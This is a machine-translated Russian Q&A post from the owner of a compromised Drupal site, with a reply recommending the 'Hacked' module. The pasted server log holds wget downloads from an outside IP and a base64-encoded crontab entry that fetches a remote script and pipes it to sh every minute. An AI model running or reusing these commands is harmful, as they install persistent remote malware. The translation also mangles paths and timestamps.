Сайт Друпла взломан - PullRequest
       32

Сайт Друпла взломан

0 голосов
/ 15 ноября 2018

apache server error_log:

- 2018-11-14 22: 13: 39-- http://164.132.159.56/drupal/zps.sh Подключение к 164.132.159.56:80 ... подключено. HTTP-запрос отправлен, ожидание ответа ... 200 OK Длина: 589 [текст / х-ш] Сохранение в: 'STDOUT'

 0K                                                       100%  101M=0s

2018-11-14 22:13:40 (101 МБ / с) - записано на стандартный вывод [589/589]

rm: невозможно удалить '/ var / tmp / yum-ec2-user-_j9uM3': операция не разрешена rm: отказывается удалять '.' или каталог '..': пропуская '/ var / tmp /.' rm: отказывается удалять '.' или каталог ..: пропуская / var / tmp / .. --2018-11-14 22: 13: 40-- http://164.132.159.56/drupal/2/olo Подключение к 164.132.159.56:80 ... подключено. HTTP-запрос отправлен, ожидание ответа ... 200 OK Длина: 33880 (33К) Сохранение в: '/ var / tmp / lew'

 0K .......... .......... .......... ...                  100%  286K=0.1s

2018-11-14 22:13:40 (286 КБ / с) - '/ var / tmp / lew' сохранено [33880/33880]

% Всего% Получено% Xferd Средняя скорость Время Время Время Текущий Dload Upload Всего отработанных левых скоростей ^ M 0 0 0 0 0 0 0 0 -: -: - -: -: - -: -: - 0 ^ M100 33880 100 33880 0 0 96119 0 -: -: - -: -: - -: -: - 96250 e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога

e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога sh: строка 1: 22417 Готово echo '* * * * * echo -n "d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA ==" | base64 -d | sh> / dev / null ' 22418 убит | crontab - e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога e: нет такого файла или каталога

Пожалуйста, сообщите решение.

1 Ответ

0 голосов
/ 15 ноября 2018

Используйте взломанный модуль (https://www.drupal.org/project/hacked) для вашего сайта. Он предоставит вам отчет обо всех файлах, которые были недавно изменены.

Вы можете удалить эти файлы или разрешить их кодирование.

...